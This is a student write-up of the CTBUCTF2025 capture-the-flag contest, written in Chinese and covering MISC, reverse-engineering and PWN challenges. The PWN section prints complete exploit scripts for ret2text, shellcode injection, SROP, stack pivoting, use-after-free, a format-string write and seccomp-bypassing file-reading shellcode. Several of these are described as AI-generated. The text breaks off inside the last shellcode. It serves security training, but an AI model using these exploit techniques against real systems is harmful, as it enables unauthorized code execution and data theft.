CTBUCTF2025 部分WP

校赛

[MISC]【签到】Welcome to CTBUCTF2025

ctbuctf{Welcome_to_CTBUCTF2025}

[MISC]问卷调查!

emmm,这个就算了,我拿这个凑个数

[MISC]Do you know SSTV?

工具题,虚拟机搞个QSSTV,选附件运行就好

ctbuctf{N0thing_1s_impossible}

(耄耋有点意思)

[MISC]书读万遍其意自现

有后门函数()

明晃晃的backdoor

main函数跟进secret数组

.data:0000000000004010 ; char secret[4]
.data:0000000000004010 secret         db 'CTBU'               ; DATA XREF: main:loc_1844↑r
.data:0000000000004010                                         ; main+1A4↑r ...
.data:0000000000004014                 public key
.data:0000000000004014 ; unsigned int key
.data:0000000000004014 key             dd 0DEADBEEFh           ; DATA XREF: main+161↑r
.data:0000000000004014                                         ; main+1AE↑r ...
.data:0000000000004014 _data           ends

又是key又是secret的,且main函数看到secret这个的地方就还在用这俩玩意

if ( secret[0] + key != page
   || (puts("what?"), __isoc99_scanf("%d", &page1), secret[1] + key != page1)
   || (puts("pwner??"), __isoc99_scanf("%d", &page2), secret[2] + key != page2)
   || (puts("so crazy!"), __isoc99_scanf("%d", &page3), secret[3] + key != page3) )

用脚想也知道多半有东西()

所以0DEADBEEF = 3735928559?

并非,因为key定义为int,是有符号的

    • secret 的元素是 char 类型(8 位有符号整数),但在运算时会提升为 int(32 位有符号整数)。
    • keyunsigned int,但在与 int 相加时,会遵循 C 语言的类型转换规则
      1. 如果两个操作数类型不同,且其中一个为 unsigned int,另一个为 int,则 int 会被转换为 unsigned int
      2. 因此,整个表达式 secret[i] + key 的运算结果是 无符号整数

secret[0] + key 为例:

  • 数值计算:secret[0] = 67 (int) → 转换为 unsigned int: 67
    key = 0xDEADBEEF → unsigned int 3735928559
    secret[0] + key = 67 + 3735928559 = 3735928626 (无符号十进制)
  • 二进制表示
    • 3735928626 的十六进制为 0xDEADBE66
    • 但程序要求输入的是 int%d 格式符),因此需要将无符号结果 解释为有符号整数:signed_value = 3735928626 – 2**32 = 3735928626 – 4294967296 = -559038670
secret[0] + key67 + 3735928559 = 3735928626-559038670
secret[1] + key84 + 3735928559 = 3735928643-559038653
secret[2] + key66 + 3735928559 = 3735928625-559038671
secret[3] + key85 + 3735928559 = 3735928644-559038652

现在直接按顺序输入就好了

直接flag ctbuctf{CAYLESsaNDdOMoRe}

[MISC]Ez_Base64

emmm,pz一把梭,你值得拥有

我爱妙妙小工具()

[MISC]vivo50保卫战:决战星期四

交互玩两次感觉不算复杂,但是想着是夏师傅压箱底的题,我还以为还有什么奇奇怪怪的点(我一开始真以为是brainfuck的变种编码了)

玩了几个字符的bf编码形式进去,感觉像可以逐字节爆破

直接甩给AI,然后后台跑着爆了

目标服务器:ctf.ctbu.edu.cn:33326
交互效果:
┌──(kali㉿kali)-[~]
└─$ nc ctf.ctbu.edu.cn 33326                            

  ╔════════════════════════════════════════════╗
  ║                                           ║
  ║   ████████████████████████████████████     ║
  ║   █       GRANDPA'S VIVO50 SAFE     █     ║
  ║   ████████████████████████████████████     ║
  ║                                           ║
  ║   Enter Brainfuck Code to Unlock:         ║
  ║                                           ║
  ║   ┌────────────────────────────────────┐   ║
  ║   │ >>>                               │   ║
  ║   └────────────────────────────────────┘   ║
  ║                                           ║
  ║   Options:                                 ║
  ║   [ RUN BF CODE ] [ RESET ] [ HELP ]     ║
  ║                                           ║
  ║   ⚠ Reminder: Thursday is the deadline!   ║
  ║                                           ║
  ╚════════════════════════════════════════════╝
   
Enter the password
>> a

Only the following Brainfuck commands are allowed: '>' '<' '+' '-' '.' ',' '[' ']' ' '

  ╔════════════════════════════════════════════╗
  ║                                           ║
  ║   ████████████████████████████████████     ║
  ║   █       GRANDPA'S VIVO50 SAFE     █     ║
  ║   ████████████████████████████████████     ║
  ║                                           ║
  ║   Enter Brainfuck Code to Unlock:         ║
  ║                                           ║
  ║   ┌────────────────────────────────────┐   ║
  ║   │ >>>                               │   ║
  ║   └────────────────────────────────────┘   ║
  ║                                           ║
  ║   Options:                                 ║
  ║   [ RUN BF CODE ] [ RESET ] [ HELP ]     ║
  ║                                           ║
  ║   ⚠ Reminder: Thursday is the deadline!   ║
  ║                                           ║
  ╚════════════════════════════════════════════╝
   
Enter the password
>> +++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ ++.<+ +++[- >++++ <]>+. <++++ [->-- --<]> --.<+ +++[- >++++ <]>++ +.<++ ++[-> ----< ]>--. <++++ [->++ ++<]> +.<++ +[->- --<]> ----- .<

Decrypting...
ctbuctfTraceback (most recent call last):
File "/app/maker.py", line 100, in <module>
  print(password[i], end='', flush=True)
IndexError: list index out of range
                                                                                                                                                                       
┌──(kali㉿kali)-[~]
└─$ nc ctf.ctbu.edu.cn 33326

  ╔════════════════════════════════════════════╗
  ║                                           ║
  ║   ████████████████████████████████████     ║
  ║   █       GRANDPA'S VIVO50 SAFE     █     ║
  ║   ████████████████████████████████████     ║
  ║                                           ║
  ║   Enter Brainfuck Code to Unlock:         ║
  ║                                           ║
  ║   ┌────────────────────────────────────┐   ║
  ║   │ >>>                               │   ║
  ║   └────────────────────────────────────┘   ║
  ║                                           ║
  ║   Options:                                 ║
  ║   [ RUN BF CODE ] [ RESET ] [ HELP ]     ║
  ║                                           ║
  ║   ⚠ Reminder: Thursday is the deadline!   ║
  ║                                           ║
  ╚════════════════════════════════════════════╝
   
Enter the password
>> +++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ ++.<+ +++[- >++++ <]>+. <++++ [->-- --<]> --.<+ +++[- >++++ <]>++ +.<++ ++[-> ----< ]>--. <++++ [->++ ++<]> +.<++ +[->- --<]> ----- .<+++ +[->+ +++<] >++++ +.<++ +++[- >---- -<]>- .<

Decrypting...
ctbuctf{a
Wrong Password! Try again~

  ╔════════════════════════════════════════════╗
  ║                                           ║
  ║   ████████████████████████████████████     ║
  ║   █       GRANDPA'S VIVO50 SAFE     █     ║
  ║   ████████████████████████████████████     ║
  ║                                           ║
  ║   Enter Brainfuck Code to Unlock:         ║
  ║                                           ║
  ║   ┌────────────────────────────────────┐   ║
  ║   │ >>>                               │   ║
  ║   └────────────────────────────────────┘   ║
  ║                                           ║
  ║   Options:                                 ║
  ║   [ RUN BF CODE ] [ RESET ] [ HELP ]     ║
  ║                                           ║
  ║   ⚠ Reminder: Thursday is the deadline!   ║
  ║                                           ║
  ╚════════════════════════════════════════════╝
   
Enter the password
>>

大致玩法就是连上服务器后,输入所求flag对应的brainfuck编码
对于每次输入的内容,服务器会一位一位的进行比对,只有上一位brainfuck解码出来对应的字母和目标字母相匹配,才能开始比对下一位,如果比对没能对上,会退出这次比对然后要求再输入一次password,password即需要输入的brainfuck内容
现在,已知目标密码格式:ctbuctf{[a-z0-9]+},请将密码作为flag提交
现在,逐位进行遍历,只有花括号里面的未知内容需要遍历,长度未知,每次遍历要求把当前的内容进行brainfuck编码后,传入目标服务器,然后观察回显,如果提示wrong password就让当前字母换成下一个字母
例如,第一次遍历使用ctbuctf{a}进行,经过brainfuck编码后,传入
在服务器对字母’a‘进行比对后,会抛出wrong password,则进入下一个字母,也就是ctbuctf{b},直到这个字符验证正确,进入下一位字符的验证
例如,如果输入ctbuctf{x},因为交互效果的原因,当花括号中的第一位内容真的是x时,响应中的Decrypting...部分,会输出成ctbuctf{x},然后抛出错误,如果不是x,只会输出成ctbuctf{x           然后抛出错误
所以现在写个遍历脚本,经过brainfuck编码后,连接服务器,传入后逐字节爆破,目标是找到密码,也就是flag

话说为什么非要弄个那什么options上去,一开始没想玩这个就是因为我没法选这个选项,我还在想这怎么玩,我玩不明白()

结果我到最后都没用上这个)

AI给出的exp:

import socket


def str_to_bf(s):
   if not s:
       return ""
   code = ""
   for c in s:
       code += ">"
       code += "+" * ord(c)
       code += "."
   return code[1:]  # 去掉第一个多余的'>'


charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
known_prefix = "ctbuctf{"

while not known_prefix.endswith('}'):
   print(f"Current prefix: {known_prefix}")
   found = False
   for c in charset:
       guess = known_prefix + c
       bf_code = str_to_bf(guess)
       print(f"Trying '{guess}': {bf_code[:50]}...")

       # 建立连接并发送BF代码
       try:
           s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           s.settimeout(10)
           s.connect(('ctf.ctbu.edu.cn', 33326))

           # 读取直到出现输入提示符
           buffer = ""
           while True:
               data = s.recv(1024).decode(errors='ignore')
               if not data:
                   break
               buffer += data
               if ">> " in buffer:
                   break

           # 发送Brainfuck代码
           s.sendall(bf_code.encode() + b'\n')

           # 读取响应
           response = ""
           while True:
               data = s.recv(4096).decode(errors='ignore')
               if not data:
                   break
               response += data
           s.close()
       except Exception as e:
           print(f"Error: {e}")
           continue

       # 检查是否出现IndexError
       if 'IndexError' in response:
           known_prefix += c
           print(f"Found correct character: '{c}'")
           found = True
           break
       else:
           print(f"Character '{c}' incorrect.")

   if not found:
       print("Failed to find next character. Exiting.")
       break

print(f"Flag found: {known_prefix}")

老实说,一开始我嫌这个版本慢,看到之前的交互效果,有些奇奇怪怪的想法,重新梭了一份脚本

但是这个更慢(还好我一开始想的是两个一起跑,不停不改第一个)

不过第二份能不能跑出来还真不一定()

from pwn import *
import string

context.log_level = 'error'  # 关闭冗余日志


def generate_bf(current_guess):
   # 生成只输出当前猜测字符串的brainfuck代码
   # 确保每个字符在独立cell中生成,避免指针干扰
   bf_code = ""
   for c in current_guess:
       bf_code += ">"  # 移动到新cell
       bf_code += "+" * ord(c)  # 设置当前cell值
       bf_code += "."  # 输出字符
   return bf_code[1:]  # 去掉第一个多余的>


known = "ctbuctf{"
charset = string.ascii_lowercase + string.digits

while not known.endswith('}'):
   print(f"Current progress: {known}")
   for c in charset:
       current_guess = known + c
       bf = generate_bf(current_guess)

       try:
           # 每次创建新连接确保环境重置
           r = remote('ctf.ctbu.edu.cn', 33326)

           # 跳过初始提示
           r.recvuntil(b'>> ')

           # 发送BF代码
           r.sendline(bf.encode())

           # 获取响应
           resp = r.recvall(timeout=2).decode()
           r.close()

           # 关键判断逻辑
           if 'IndexError' in resp:
               known += c
               print(f"Found: {c} => {known}")
               break
           elif 'Decrypting...' in resp and known + c in resp:
               known += c
               print(f"Full match found: {known}")
               break
       except:
           continue
   else:
       print("No valid characters found!")
       break

print(f"Final flag: {known}")

PS:第一份exp梭到图片位置,我还以为出意外了,吓得我差点直接摁重启程序,真摁了我一千多分就没了()

这里最后补个}就好了

[PWN]Pwn me ! 💥

好久没做ret2text了,卡在一个莫名其妙的地方十多分钟,怪招笑的()

嗯对,就是那个0x40119E ()

from pwn import *
context.log_level = 'debug'
p = remote("ctf.ctbu.edu.cn",32999)
payload =b'a' *(64 + 8) +  p64(0x40119E)
p.sendlineafter(b'me!\n',payload)
p.interactive()

[PWN]shellcode 🐚

原本以为还有些什么要注意的点,结果真的传上就给

随便找个64位短shellcode进去凑数了

from pwn import *
context.log_level = 'debug'
p = remote("ctf.ctbu.edu.cn",33019)
payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.sendline(payload)
p.interactive()

[PWN]srop 🧙‍♂️

看了快接近24小时的题目

不能说情有独钟,只能说自己蠢得没边

原理复述起来好麻烦()

内核层和用户层啥的,反正就是暂时kill进程然后保存一份,之后再复原嘛

这个过程可以直接伪造,让rax = 15 ,syscall的情况下会直接等价于一个sigreturn

然后伪造一下各寄存器的值就好了

然后/bin/sh在data段是直接就有,没必要像网上那些奇奇怪怪的复杂例题一样再往bss段先写个/bin/sh进去

(话说能不能写啊,我还没试过,之前忘了那8字节的rbp,重新往bss写/bin/sh也试过,但是肯定没通,之后试试写个进去能不能玩)

(一开始我还在IDA到处翻syscall在哪,后面发现ROPgadget里面巨好找,也是脑瘫忘了ROPgadget也能找到syscall了)

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 地址信息
bin_sh_addr = 0x404010
syscall_addr = 0x40110d
gift_addr = 0x401113

# 构造SROP Frame
frame = SigreturnFrame()
frame.rax = 59            # execve系统调用号
frame.rdi = bin_sh_addr    # /bin/sh的地址
frame.rsi = 0             # 参数2
frame.rdx = 0             # 参数3
frame.rip = syscall_addr   # 执行syscall以触发execve


# 构造payload
payload = b'A' * 40       # 填充缓冲区及RBP
payload += p64(gift_addr)  # 覆盖返回地址为gift函数
payload += p64(syscall_addr)  # gift返回后执行syscall
payload += bytes(frame)    # 添加伪造的Signal Frame

# 发送payload并获取shell
r = remote('ctf.ctbu.edu.cn', 33204)
r.send(payload)
r.interactive()

[PWN]ez_stack 🐙

栈迁移(第二次玩)

main函数进去就俩函数

title不管,vuln看看

__int64 vuln()
{
 _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

 puts("What's your name?");
 read(0, &name, 0x100uLL);
 puts("Ok! Just do it!");
 read(0, buf, 0x38uLL);
 return 0LL;
}

read函数输入进去,buf就吃掉了0x30,就只能覆盖0x8字节内容

不够只能外借了

只能到处找哪能写点东西进去

bss段可读可写,一翻还真有说法

.bss:0000000000404080                 public name
.bss:0000000000404080 name           db   ? ;               ; DATA XREF: vuln+20↑o

那思路就是通过溢出,将RBP覆盖为name的地址(0x404080

将返回地址覆盖为ret指令(0x40101a),用于栈对齐

name里面就随便写了

/bin/sh又在附件中能找到

直接开个execve然后rdi指向/bin/sh直接就完成提权了()

至于execve,这个好搞,ROPgadget一翻就找到这几个能用的pop

pop传参进对应寄存器完成系统调用

直接就get shell

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

r = remote('ctf.ctbu.edu.cn', 33301)

name_addr = 0x404080
ret_addr = 0x40101a
pop_rdi = 0x401180
pop_rsi = 0x401182
pop_rdx = 0x40117a
pop_rax_syscall = 0x40117d
bin_sh = 0x404028


payload1 = flat([
   0,  
   pop_rdi, bin_sh,
   pop_rsi, 0,
   pop_rdx, 0,
   pop_rax_syscall, 59
])


payload2 = b'A'*48 + p64(name_addr) + p64(ret_addr)




r.sendlineafter(b"What's your name?\n", payload1)
r.sendlineafter(b"Ok! Just do it!\n", payload2)

r.interactive()

[PWN]uaf 👻

emmm,这题我不会的()

原本只是随手看看能不能甩给AI给我理个堆题的逻辑出来我再慢慢填板子的

结果信息给够了它直接就给我搞了个完整exp然后还出了

留个提问信息吧:

这是一道ctf pwn挑战赛题 main函数如下: // local variable allocation has failed, the output may be wrong! int _fastcall main(int argc, const char argv, const char envp) { while ( 1 ) { print_menu(*(QWORD *)&argc, argv, envp); switch ( (unsigned int)get_num() ) { case 1u: adopt_dog(); break; case 2u: Release_dog(); break; case 3u: edit_dog(); break; case 4u: Check_ans(); case 5u: puts(“Goodbye, you will never find a safer program!\n”); exit(0); default: *(_QWORD *)&argc = “Invalid option!\n”; puts(“Invalid option!\n”); break; } } } main函数地址:main .text 000000000000183D 这是个常规的菜单main函数 选项1的adopt_dog函数内容如下: int adopt_dog() { int v1; // ebx int num; // [rsp+4h] [rbp-1Ch] size_t v3; // [rsp+8h] [rbp-18h]

if ( cur_alloc_index > 2 ) return puts(“Too many dogs!”); puts(“What is the name of the dog?”); fgets((char *)&dog_array + 56 * cur_alloc_index, 32, stdin); v3 = strlen((const char *)&dog_array + 56 * cur_alloc_index); if ( v3 && *((BYTE *)&dog_array + 56 * cur_alloc_index + v3 – 1) == 10 ) *((BYTE *)&dog_array + 56 * cur_alloc_index + v3 – 1) = 0; puts(“How much space do you need to describe this dog?”); num = get_num(); v1 = cur_alloc_index; *((QWORD *)&unk_4088 + 7 * v1) = malloc(num); *((DWORD *)&unk_4080 + 14 * cur_alloc_index) = num; dword_4090[14 * cur_alloc_index] = -559038737; if ( !*((_QWORD *)&unk_4088 + 7 * cur_alloc_index) ) { puts(“Alloc call failed”); exit(1); } puts(“Successful adoption!”); return ++cur_alloc_index; } 选项2: int Release_dog() { int num; // [rsp+Ch] [rbp-4h]

puts(“Which dog would you like to release?”); num = get_num(); if ( num > 2 ) return puts(“Provided index out of bounds, this is not possible!”); if ( dword_4090[14 * num] != -559038737 ) return puts(“Provided index hasn’t yet been allocated, can’t reallocate!”); free(*((void **)&unk_4088 + 7 * num)); return printf(“%s has been released! It will leave you forever.\n”, (const char *)&dog_array + 56 * num); } 选项3: int edit_dog() { int num; // [rsp+Ch] [rbp-4h]

puts(“Which dog’s info do you want to edit?”); num = get_num(); if ( num > 2 ) return puts(“Provided index out of bounds, this is not possible!”); if ( dword_4090[14 * num] != -559038737 ) return puts(“Provided index hasn’t yet been allocated, can’t edit!”); puts(“Please edit its information.”); return read(0, *((void **)&unk_4088 + 7 * num), *((unsigned int *)&unk_4080 + 14 * num)); } 选项4: void __noreturn Check_ans() { const char *v0; // rdi

v0 = (const char *)malloc(0x48uLL); if ( !strcmp(v0, “ez uaf”) ) win(); puts(“Hah, you missed your shot!”); exit(0); } 选项4中的win函数: void __noreturn win() { printf(“The flag is: “); system(“cat flag”); exit(1); } 这是一道pwn方向考察UAF的题,各函数的地址如下: adopt_dog .text 0000000000001413 Release_dog .text 0000000000001625 edit_dog .text 0000000000001701 Check_ans .text 00000000000017E2 win .text 00000000000013DE 现在考虑如何构造exp,来打通这题 目标服务器:ctf.ctbu.edu.cn:33210 ,用pwn库的remote方法进行连接

int print_menu() { puts(“[1] Adopt a dog”); puts(“[2] Release a dog”); puts(“[3] Edit dog Info”); puts(“[4] Check the answer”); puts(“[5] Exit”); return printf(“\n > “); } 进行交互时,会先进入print_menu函数,也就是上面的代码函数 根据这个情况改写一下exp,以求适配

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('ctf.ctbu.edu.cn', 33210)

def adopt_dog(name, size):
   p.sendlineafter(b'> ', b'1')          # 选择选项1
   p.sendlineafter(b'What is the name of the dog?\n', name)
   p.sendlineafter(b'How much space do you need to describe this dog?\n', str(size).encode())

def release_dog(index):
   p.sendlineafter(b'> ', b'2')          # 选择选项2
   p.sendlineafter(b'Which dog would you like to release?\n', str(index).encode())

def edit_dog(index, data):
   p.sendlineafter(b'> ', b'3')          # 选择选项3
   p.sendlineafter(b"Which dog's info do you want to edit?\n", str(index).encode())
   p.send(data)                          # 直接发送数据(无需换行)

# 1. 分配并释放0x48的块
adopt_dog(b'dummy', 0x48)    # 分配索引0,大小0x48
release_dog(0)                # 释放索引0(触发UAF)

# 2. 篡改已释放块的内容为"ez uaf"
edit_dog(0, b'ez uaf\x00')   # 通过UAF写入目标字符串

# 3. 触发Check_ans,此时malloc(0x48)会复用被篡改的块
p.sendlineafter(b'> ', b'4')  # 选择选项4

# 4. 获取flag
p.interactive()

(校赛wp就暂时不理会原理了,打完再重新复现玩玩,玩明白了再重新贴一篇UAF)

[PWN]just_one 🎯

保护全开,好痛苦()

明说了fmt

发现AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p这种交互,居然会直接退出(差点因为这个问题直接劝退了)

后面想起来还可以换AAAA%x$p来找(当时想着5~15二分法找,结果居然是6,还不如直接挨着猜)

在AAAA%6$p进行交互的时候,拿到了

AAAA0x7024362541414141

这一连串的41,对味了

锁定第六位了

unsigned __int64 vuln()
{
 _QWORD buf[513]; // [rsp+0h] [rbp-1010h] BYREF
 unsigned __int64 v2; // [rsp+1008h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 memset(buf, 0, 0x1000uLL);
 buf[100] = 3735928558LL;
 buf[200] = &buf[100];
 puts("This fmt is not difficult, but it will test your basic skills.");
 puts("Come on, you can do it.\n");
 puts("Show me your payload");
 printf("> ");
 read(0, buf, 0x10uLL);
 printf((const char *)buf);
 if ( buf[100] == 3735928559LL )
   backdoor();
 else
   puts("Bye bye~");
 return v2 - __readfsqword(0x28u);
}

buf[100] = 3735928558LL;

换个写法就0xdeadbeee

想进backdoor就必须要加1

  if ( buf[100] == 3735928559LL )
   backdoor();

所以0xdeadbeee —-> 0xdeadbeef才行

观察差异0xdeadbeee0xdeadbeef 的唯一区别是 最低字节

0xdeadbeee → 最低字节为 0xee(十进制 238)。

0xdeadbeef → 最低字节为 0xef(十进制 239)。

要改一字节,所以限制挺大的()

所以得用%hhn

%hhn 的作用:向目标地址写入 1 字节(即已输出字符数的低 8 位)

%n 的作用:向目标地址写入 intlong 类型(4 或 8 字节),这会覆盖更多内存区域

read(0, buf, 0x10uLL);

上面也是限制用%hhn的原因,毕竟这样才能尽可能的短

此处需求:只需修改 1 字节(从 0xee0xef),使用 %hhn 更精准,且避免意外破坏其他内存

要将 0xee238)改为 0xef239),需写入的值为 239

%239c 会输出 239 个字符(填充空格),使总输出的字符数达到 239

buf[200]的位置计算

buf起始于第6个参数

每个_QWORD元素占8字节,相当于1个参数位置

buf[200]的偏移为200,故在参数列表中的位置为6 + 200 = 206

关键结论buf[200]的值(即buf[100]的地址)位于第206个参数

%206$hhn 会将 239 的低 8 位(即 0xef)写入 buf[100] 的最低字节

那组合一下pld就出来了()

from pwn import *

context.log_level = 'debug'

# 连接到远程服务器
p = remote('ctf.ctbu.edu.cn', 33229)

# 构造格式化字符串,将buf[100]的最低字节修改为0xef(239)
payload = b'%239c%206$hhn'

# 发送payload
p.sendlineafter(b'> ', payload)

# 获取交互权限
p.interactive()

[PWN]shellcode_pro 🦞

燃尽了,真不会这个

交给AI,居然还是梭出来了

这辈子最相信deepseek的时刻

调教过程挺长()

大致调教思路就是给出各函数地址和内容,交代交互效果,然后报错喂回去再报错再喂

最后看它说法是玩的ORW

(没玩过这个,不知道怎么判断玩这个的,又是一道赛后慢慢研究的题目) 还是惯例贴出提问词(提问段):

现在需要你帮助完成一道pwn题
主要打通方法是传入shellcode
文件保护情况:[*] 'C:\\Users\\26597\\Downloads\\Compressed\\shellcode_pro\\shellcode_pro'
  Arch:       amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:         NX enabled
  PIE:       PIE enabled
  SHSTK:     Enabled
  IBT:       Enabled
  Stripped:   No
main函数地址:0x1501
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-1014h]
_BYTE buf[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v6; // [rsp+1018h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
title();
puts("Your shellcode:");
v4 = read(0, buf, 0x1000uLL);
setup_shellcode(buf, v4);
return 0;
}
title函数只是单纯的puts内容,交互效果是:
┌──(kali㉿kali)-[~]
└─$ nc ctf.ctbu.edu.cn 33243
  ███████╗██╗ ██╗███████╗██╗     ██╗     ██████╗ ██████╗ ██████╗ ███████╗
  ██╔════╝██║ ██║██╔════╝██║     ██║     ██╔════╝██╔═══██╗██╔══██╗██╔════╝
  ███████╗███████║█████╗ ██║     ██║     ██║     ██║   ██║██║ ██║█████╗  
  ╚════██║██╔══██║██╔══╝ ██║     ██║     ██║     ██║   ██║██║ ██║██╔══╝  
  ███████║██║ ██║███████╗███████╗███████╗╚██████╗╚██████╔╝██████╔╝███████╗
  ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
                        ██████╗ ██████╗ ██████╗                          
                        ██╔══██╗██╔══██╗██╔═══██╗                          
                        ██████╔╝██████╔╝██║   ██║                          
                        ██╔═══╝ ██╔══██╗██║   ██║                          
                        ██║     ██║ ██║╚██████╔╝                          
                        ╚═╝     ╚═╝ ╚═╝ ╚═════╝                          

Well, you must have understood what shellcode is.
Let's try to bypass this sandbox.

Your shellcode:
asda
[+] Executing shellcode with length: 5...
[+] Shellcode location: 0x7fc384216000
setup_shellcode函数地址:0x142D
内容:int __fastcall setup_shellcode(const void *a1, unsigned int a2)
{
void *dest; // [rsp+10h] [rbp-10h]

dest = mmap(0LL, a2, 7, 34, -1, 0LL);
 if ( dest == (void *)-1LL )
{
  perror("mmap failed");
   exit(1);
}
memcpy(dest, a1, a2);
printf("[+] Executing shellcode with length: %u...\n", a2);
printf("[+] Shellcode location: %p\n", dest);
setup_seccomp();
((void (*)(void))dest)();
return munmap(dest, a2);
}
setup_seccomp地址:13C4
内容:__int64 setup_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
return seccomp_load(v1);
}
考虑怎么传入shellcode才能打穿题目
目标服务器:ctf.ctbu.edu.cn:33243
用pwn库的remote方法进行连接

然后就是常规的报错,喂回,报错,喂回,重复该系列操作9次

最终exp:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# 无空字节终极解决方案
shellcode = asm('''
  /* 构造路径flag */
  xor rax, rax
  push rax               /* 8字节终止符 */
  mov dword ptr [rsp], 0x67616c66 /* 'flag' */
  lea rdi, [rsp]         /* 文件路径指针 */

  /* open系统调用 */
  xor rsi, rsi           /* O_RDONLY=0 */
  xor rdx, rdx           /* mode=0 */
  mov al, 2               /* sys_open=2 */
  syscall

  /* read系统调用 */
  mov rdi, rax           /* 文件描述符 */
  mov rsi, rsp           /* 使用当前栈顶作为缓冲区 */
  xor rdx, rdx
  mov dh, 0x1             /* 读取长度=0x100 */
  xor rax, rax           /* sys_read=0 */
  syscall

  /* write系统调用 */
  mov rdx, rax           /* 实际读取长度 */
  xor rdi, rdi           /* stdout=1 */
  inc rdi
  xor rax, rax
  inc al                 /* sys_write=1 */
  syscall

  /* 保持连接(死循环防止退出) */
  jmp $
''')

# 验证无空字节
print(f"Shellcode长度: {len(shellcode)} bytes")
print(f"Hex内容: {shellcode.hex()}")
assert b'\x00' not in shellcode, "检测到空字节!"

# 连接远程服务器
r = remote('ctf.ctbu.edu.cn', 33243)
r.recvuntil(b'Your shellcode:\n')
r.send(shellcode)
r.interactive()

[PWN]shellcode_pro_plus 🦀

和上一题一个系列,直接继续ai继续梭

在上一题的投喂下,这题解出效率之高,叹为观止()

提示段:

很好,打通了,现在这个题目还存在系列题目
仍然是需要传入shellcode
保护情况如下:
[*] 'C:\\Users\\26597\\Downloads\\Compressed\\shellcode_pro_plus\\shellcode_pro_plus'
  Arch:       amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:         NX enabled
  PIE:       PIE enabled
  SHSTK:     Enabled
  IBT:       Enabled
  Stripped:   No
main函数地址:0x1561
内容:int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-1014h]
_BYTE buf[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v6; // [rsp+1018h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
title();
puts("Your shellcode:");
v4 = read(0, buf, 0x1000uLL);
setup_shellcode(buf, v4);
return 0;
}
title函数仍然只是puts内容,交互效果如下:
████╗███████║█████╗ ██║     ██║     ██║     ██║   ██║██║ ██║█████╗  
  ╚════██║██╔══██║██╔══╝ ██║     ██║     ██║     ██║   ██║██║ ██║██╔══╝  
  ███████║██║ ██║███████╗███████╗███████╗╚██████╗╚██████╔╝██████╔╝███████╗
  ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
        ██████╗ ██████╗ ██████╗     ██████╗ ██╗     ██╗   ██╗███████╗      
        ██╔══██╗██╔══██╗██╔═══██╗   ██╔══██╗██║     ██║   ██║██╔════╝      
        ██████╔╝██████╔╝██║   ██║   ██████╔╝██║     ██║   ██║███████╗      
        ██╔═══╝ ██╔══██╗██║   ██║   ██╔═══╝ ██║     ██║   ██║╚════██║      
        ██║     ██║ ██║╚██████╔╝   ██║     ███████╗╚██████╔╝███████║      
        ╚═╝     ╚═╝ ╚═╝ ╚═════╝     ╚═╝     ╚══════╝ ╚═════╝ ╚══════╝      

Sandbox plus!
Good luck for you!

Your shellcode:
dad
[+] Executing shellcode with length: 4...
[+] Shellcode location: 0x7fb7899d0000
setup_shellcode函数地址:0x148D
内容:int __fastcall setup_shellcode(const void *a1, unsigned int a2)
{
void *dest; // [rsp+10h] [rbp-10h]

dest = mmap(0LL, a2, 7, 34, -1, 0LL);
 if ( dest == (void *)-1LL )
{
  perror("mmap failed");
   exit(1);
}
memcpy(dest, a1, a2);
printf("[+] Executing shellcode with length: %u...\n", a2);
printf("[+] Shellcode location: %p\n", dest);
setup_seccomp();
((void (*)(void))dest)();
return munmap(dest, a2);
}
setup_seccomp函数地址:0x13C4
内容:__int64 setup_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 2LL, 0LL);
seccomp_rule_add(v1, 0LL, 0LL, 0LL);
seccomp_rule_add(v1, 0LL, 1LL, 0LL);
return seccomp_load(v1);
}
考虑如何构造exp,才能打穿
目标服务器:ctf.ctbu.edu.cn:33249
用pwn库的remote方法进行连接

特效率,一遍出最终exp:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# 使用openat+sendfile绕过seccomp限制
shellcode = asm('''
  /* 构造路径'/flag' */
  xor rax, rax
  push rax               /* 8字节清零 */
  mov byte ptr [rsp], 0x2f   /* '/' */
  mov byte ptr [rsp+1], 0x66 /* 'f' */
  mov byte ptr [rsp+2], 0x6c /* 'l' */
  mov byte ptr [rsp+3], 0x61 /* 'a' */
  mov byte ptr [rsp+4], 0x67 /* 'g' */
  lea rsi, [rsp]         /* 路径指针 */

